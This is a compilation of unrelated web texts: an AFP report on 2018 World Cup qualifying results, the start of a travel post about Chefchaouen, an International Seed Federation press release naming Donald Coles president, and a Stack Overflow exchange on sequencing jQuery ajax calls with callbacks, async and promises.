The Danes needed to win in Copenhagen while hoping that Montenegro could upset Poland to finish top of Group E, but Ciprian Deac's late equaliser cancelled out a 60th-minute penalty from Christian Eriksen.
However, Denmark are at least assured of a place in next month's play-offs as one of the eight best runners-up from the nine qualifying groups.
Germany made it 10 wins from 10 in Group C after routing Azerbaijan 5-1 in Kaiserslautern to join Spain as the only nations in history to finish a European World Cup qualifying campaign with a perfect record.
Leon Goretzka's opening goal was negated by Ramil Sheydaev on 34 minutes, but Sandro Wagner and Antonio Ruediger scored after half-time before Goretzka notched his second and Emre Can completed the victory.
Germany scored a European qualifying record 43 goals on the road to Russia, emulating Spain who achieved perfection in qualifying ahead of their triumph at the 2010 tournament in South Africa.
"It would be a mistake to use this qualifying campaign as a benchmark. Sure it was good, but the World Cup will be a different matter," said Germany coach Joachim Loew.
"It will be hard to win the World Cup for a second time."
Agony for Scotland
Northern Ireland slid to a 1-0 defeat to Norway in Oslo after an own goal by Chris Brunt, but Michael O'Neill's men were already guaranteed a berth in the play-offs after earlier results.
Slovakia face an anxious wait to discover whether they will advance to the two-legged play-offs after finishing second behind England in Group F following a comfortable 3-0 win over Malta.
Adam Nemec grabbed a brace with Ondrej Duda adding a third in Trnava as Slovakia extended Scotland's 20-year exile from the finals of major tournaments.
Gordon Strachan's team arrived in Slovenia two points clear of Slovakia going into the final round of matches, but dropped to third after being held to a 2-2 draw in Ljubljana.
Leigh Griffiths stroked the visitors into a first-half lead, but Slovenia equalised and then went ahead as Roman Bezjak netted twice after coming on at the break.
Robert Snodgrass handed Scotland a lifeline with an 87th-minute equaliser, but it wasn't enough as Scotland finished level on 18 points with Slovakia but behind them on goal difference.
"I have never been in a dressing room as silent as that," said Strachan, who refused to be drawn on his future as Scotland manager. "At this moment, I am the last person thinking about that."
England won 1-0 away to Lithuania to conclude an unbeaten campaign as Harry Kane scored a 27th-minute spot-kick won by Tottenham Hotspur team-mate Dele Alli.
The in-form Kane, whose stoppage-time winner against Slovenia on Thursday secured England's place in Russia, has now scored nine goals in his last five matches for both club and country. — AFP


The beautiful "blue city, the "blue pearl". I could spend hours attempting to describe what it's like to walk amongst the blue walls of Chefchaouen; attempting to detail the exact shades of blue, from rich royal blues to light painted sky, but I think I would fail in every attempt. Here, pictures are worth more than a thousand words. So, with that, I'll try to be brief & get right to the pictures.
We were in love with Morocco almost as soon as we landed (despite the heat). We honestly didn't know what to expect; we had heard a lot of positive & negative things about the country & were a little prepared for anything.


text:
Home News Flash info ISF elects new president, Donald Coles
ISF elects new president, Donald Coles
New Appointment
Nyon, Switzerland – Australian seedsman and business leader Donald Coles has succeeded Eduard Fito as President of the International Seed Federation (ISF), the 10th person to hold the position since the merging of FIS and ASSINSEL in 2002. He will serve a term of two years.
Donald Coles was former First Vice President of the ISF Executive Committee from 2018-2020. Eduard Fito will continue to serve on the ISF Executive Committee as Past President for another two years.
The ISF Executive Committee, after the first ISF General Assembly by written procedure, is composed of:
Donald Coles, President
Marco van Leeuwen, First Vice President
Eduard Fito, Past President
Christoph Betschart, Treasurer
Marc Cool, Chair of the Breeders Committee
"The role of agriculture in the steady supply of quality, healthy food has been greatly highlighted during the COVID-19 crisis. Today seed is widely recognized as an essential good and a key element in food production," said Coles. "This gives us further determination to ensure the efficient movement of quality seed in order to continue to deliver benefits to the entire value chain. In addition, it is very important to ensure continued innovation. New plant breeding methods can continue to contribute solutions to the global challenge of building sustainable food systems in the face of climate change as well as meeting an ever-growing consumer demand for quality, healthy food. Seed creates food in a matter of weeks."
Donald Coles is Managing Director of Valley Seeds Pty Ltd. and is a past Director of the Australian Seed Authority. In 2012, he was elected President of the Australian Seed Federation. He has held national positions within Australian Government agencies and affiliated bodies such as the Gene Technology Regulator.
His career of over 40 years spans supply chain management, quality assurance systems, retailing and retail supply. During this time, he has been directly involved in breeding new plant varieties, specifically the development, maintenance and auditing of trial protocols for forage, turf seed and cereals.
"Changing leadership from various regions and seed sectors provides an excellent dynamic for ISF and is a showcase of the diversity that ISF represents. With the new leadership under Donald Coles we will prepare, in these unprecedented times, a clear way forward based on the upcoming renewal of the ISF Key Strategic Objectives 2021-25 and the recognition of seed as the essential element of food production," said Michael Keller, ISF Secretary General.
ISF ushers in a new chapter as the seed sector faces the enormous task of responding to climate change, fulfilling an increase in global food demand, the need for more sustainable food systems (producing more with less), supporting farmers of all sizes globally as well as other stakeholders in the value chain in order to maintain food security.
"I am looking forward to working with our members from around the world. More than ever, collaboration is necessary to continue to maintain sustainable food systems post COVID-19. Partnerships will play an important role in addressing challenges and arriving at solutions in a collaborative manner," said Coles.
About ISF
ISF is the voice of the global seed sector. It has represented the interests of its members since 1924, and represents 96% of the international seed trade today. With a global reach extending to members around the world and official observer status in intergovernmental and international organizations, ISF is uniquely positioned to assist in the development of government policy and business strategy.
www.worldseed.org
communications@worldseed.org
Tags: International Seed Federation, ISF, Press release, Seeds
Previous post: China internet celebrity watermelon
Next post: Matteo Gentili named chairman designate of Ucima


text:
Q: method is executing before ajax call getting completed I am trying to call a method after all ajax calls gets completed but some reason the method id getting triggered before one of the ajax call is getting completed. i tried to keep the method in ajax complete section and using $.when() and async:false but i am getting same result. I don't know if its because i am using jsonp ?
My jquery version is 1.11.0
Below is my code
function getBBTrending() {
    bbProductD = [];
    jQuery.ajax({
        type: "GET",
        url: "crazycalls/getbbtrending.php",
        // cache must be true
        cache: true,
        crossDomain: true,
        success: function (data) {
            bbTrending = data.results;
            for (var i = 0; i < 4; i++) {
                getProductdetails(bbTrending[i].productLink);
            }
        },
        dataType: 'json'
    });
}

function getProductdetails(pLink) {
    jQuery.ajax({
        type: "GET",
        url: pLink,
        // cache must be true
        cache: true,
        crossDomain: true,
        success: function (data) {
            pushArray(bbProductD, data);
        },
        dataType: 'jsonp'
    });
}

function pushArray(array1,data1)
{
    array1.push(data1);
}

// this function is executing before pushArray(array1,data1)
jQuery( document ).ajaxStop(function() {
 displayProducts(bbProductD);
})
function displayProducts(bbProductD)
{
    jQuery("#bbButtongroup").show();
    var rProducts = bbProductD;
    var rating;
    var html = ['
']
    for (var i = 0; i < rProducts.length; i++)
    {
           var entry = rProducts[i];
           var title = entry.name
           var Tnail = entry.image;
           var sPrice = entry.salePrice;
           var rPrice = entry.regularPrice;
         var hcode = '

'+ title +'

 Regular Price : '+ rPrice +'

Sale Price :'+ sPrice +'

BuyView

';
         html.push(hcode);
     }
     html.push('
');
     document.getElementById('pContainer').innerHTML = html.join('');
}

this is how i added using $.when
jQuery.when( { getBBTrending(),getProductdetails()}).done(function() {
   displayProducts(bbProductD);
});

any advice?

A: The asynchronous way, using async library
function getBBTrending() {
    bbProductD = [];
    jQuery.ajax({
        //stuff...
        success: function (data) {
            bbTrending = data.results;
            async.each(bbTrending, function(element, callback){
                getProductdetails(element.productLink, callback);
            }, function(err){
                displayProducts(bbProductD);
            });
        },
    });
}

function getProductdetails(pLink, callback) {
    jQuery.ajax({
        //stuff
        success: function (data) {
            pushArray(bbProductD, data);
            callback(null);
        },
    });
}

The promises way, using jQuery.Deferred and jQuery.when
function getBBTrending() {
    bbProductD = [];
    jQuery.ajax({
        //stuff...
        success: function (data) {
            bbTrending = data.results;
            var promises = [];
            for (var i = 0; i < bbTrending.length; i++) {
                var promise = getProductdetails(bbTrending[i].productLink);
                promises.push(promise);
            }
            jQuery.when.apply(jQuery, promises).then(function(){
                displayProducts(bbProductD);
            });
        },
    });
}

function getProductdetails(pLink) {
    var promise = jQuery.Deferred();
    jQuery.ajax({
        //stuff
        success: function (data) {
            pushArray(bbProductD, data);
            promise.resolve();
        },
    });
    return promise;
}

The dirty way. I do not recommend this solution, it has many flaws. Try to use libraries when you need to do asynchronous stuff in order to keep your code maintainable.
var queriesCount, finishedQueriesCount;

function getBBTrending() {
    bbProductD = [];
    jQuery.ajax({
        //stuff...
        success: function (data) {
            bbTrending = data.results;
            queriesCount = 0;
            finishedQueriesCount = 0;
            for (var i = 0; i < bbTrending.length; i++) {
                getProductdetails(bbTrending[i].productLink);
            }
        },
    });
}

function getProductdetails(pLink) {
    queriesCount++;
    jQuery.ajax({
        //stuff
        success: function (data) {
            pushArray(bbProductD, data);
            finishedQueriesCount++;
            if(queriesCount == finishedQueriesCount) {
                displayProducts(bbProductD);
            }
        },
    });
}

In each case, I pleaced the part of your code that is not significant for the answer by //stuff
Warning This answer has no error handling, it will fail (never call displayProducts(bbProductD);) if you have an ajax error.